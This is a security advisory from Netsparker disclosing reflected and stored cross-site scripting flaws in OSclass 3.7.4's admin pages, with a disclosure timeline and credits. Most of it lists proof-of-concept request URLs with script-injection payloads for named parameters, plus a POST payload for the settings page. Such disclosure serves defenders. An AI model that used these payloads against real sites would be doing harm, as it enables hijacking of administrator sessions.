Information
--------------------
Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in OSclass 3.7.4
Affected Software: OSclass
Affected Versions: 3.7.4
Homepage: https://osclass.org/
Vulnerability: Reflected Cross-site Scripting, Stored Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: - 2018-14481
CVSS Score (3.0):
   Reflected XSS : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
   Stored XSS: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Netsparker Advisory Reference: NS-18-029

Technical Details
--------------------

URL:/oc-admin/index.php/x?page=items&iDisplayLengthx%22%3E%3Cscript%3Ealert(1)%3C/script%3E=&iDisplayLength=1
Parameter Name: iDisplayLength
Parameter Type : GET
Attack Pattern : x%22%3E%3Cscript%3Ealert(1)%3C/script%3E=&iDisplayLength=1

URL : /oc-admin/index.php?page=items&action=items_reported&id[]=&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005A81)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type :  GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x005A81)</scRipt>

URL : /oc-admin/index.php?page=items&action=items_reported&sort=date&direction=asc&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005707)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x005707)</scRipt>

URL : /oc-admin/index.php?page=items&action=items_reported&sort=spam&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0042C1)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x0042C1)</scRipt>

URL : /oc-admin/index.php?page=items&iDisplayLength=10&sSearch=&user=&userId=&itemId=&shortcut-filter=oPattern&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x007CE4)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x007CE4)</scRipt>

URL : /oc-admin/index.php?page=items&action=items_reported&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001372)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x001372)</scRipt>

URL : /oc-admin/index.php?page=items&action=items_reported&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x002945)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x002945)</scRipt>

URL : /oc-admin/index.php?page=items&action=items_reported&sort=spam&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001381)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x001381)</scRipt>

URL : /oc-admin/index.php?page=items&iDisplayLength=10&sort=date&direction=desc&sSearch=&countryName=&countryId=&region=&regionId=&city=&cityId=&user=&userId=&catId=5&b_premium=1&b_active=1&b_enabled=3&b_spam=1&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0042E7)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x0042E7)</scRipt>

URL : /oc-admin/index.php?page=plugins&action=delete&CSRFName={CRSF_NAME}&CSRFToken=CRSF_TOKEN}&plugin=&iDisplayLength=10&'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075A6)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x0075A6)</scRipt>

Note: This vulnerability don’t exploit by CSRFName parameter and CSRFToken parameter.  

URL : /oc-admin/index.php?page=plugins&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0078C1)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x0078C1)</scRipt>

URL : /oc-admin/index.php?page=plugins&marketError=&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004028)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x004028)</scRipt>

URL : /oc-admin/index.php?page=plugins&marketError=&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x007BDC)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x007BDC)</scRipt>

Stored XSS

Injection Request

URL : /oc-admin/index.php?page=settings
Parameter Name : language
Parameter Type : POST
Attack Patern : '+alert(0x007BDC)+'

Identification Request

URL : /oc-admin/index.php?page=settings

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

11th April 2018 - First Contact
16th July 2018 - Vendor Fixed
4th December 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.